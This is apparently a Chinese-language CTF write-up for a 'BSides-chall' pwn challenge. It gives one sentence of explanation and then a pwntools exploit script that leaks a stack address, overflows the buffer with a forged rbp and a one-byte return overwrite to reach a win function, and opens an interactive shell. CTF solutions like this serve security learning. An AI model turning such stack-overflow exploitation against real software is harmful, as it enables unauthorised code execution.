Wednesday, January 4, 2023
本文共907字
2分钟阅读时长
但我们知道,虽然64位系统的函数调用的前六个参数是保存在寄存器中的,但是我们看win函数的汇编代码,最后还是要读到栈中,因此我们可以先将三个参数安排在栈中,同时控制rbp的值,跳过将参数读入到栈中的过程:
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8
from LibcSearcher import LibcSearcher
import ctypes
pss: bool = False
fn: str = "./BSides-chall"
libc_name:str = "/lib/x86_64-linux-gnu/libc.so.6"
port: str = "1337"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
p = remote("34.70.253.176", port)
else:
if if_debug:
p = gdb.debug(fn, """
b* $rebase(0x1320)
b* $rebase(0x131A)
c
""")
else:
p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(**kwargs):
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
info(f"received:\n{received.decode('UTF-8')}")
p.send(flat(content))
def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"received:\n{received}")
p.interactive()
def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)])
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...
sendline_after_clean()
stack = recv_and_transform("0x", from_bytes=False, bound="\n")
suclog(
stack=stack
)
payload = flat([
stack,
p32(11534522) + p32(1590475454)
]).ljust(0x20, b"\x00") + flat([
stack - 38,
p8(0x8E)
])
send_after_clean(payload)
interactive_after_clean(no_show=False)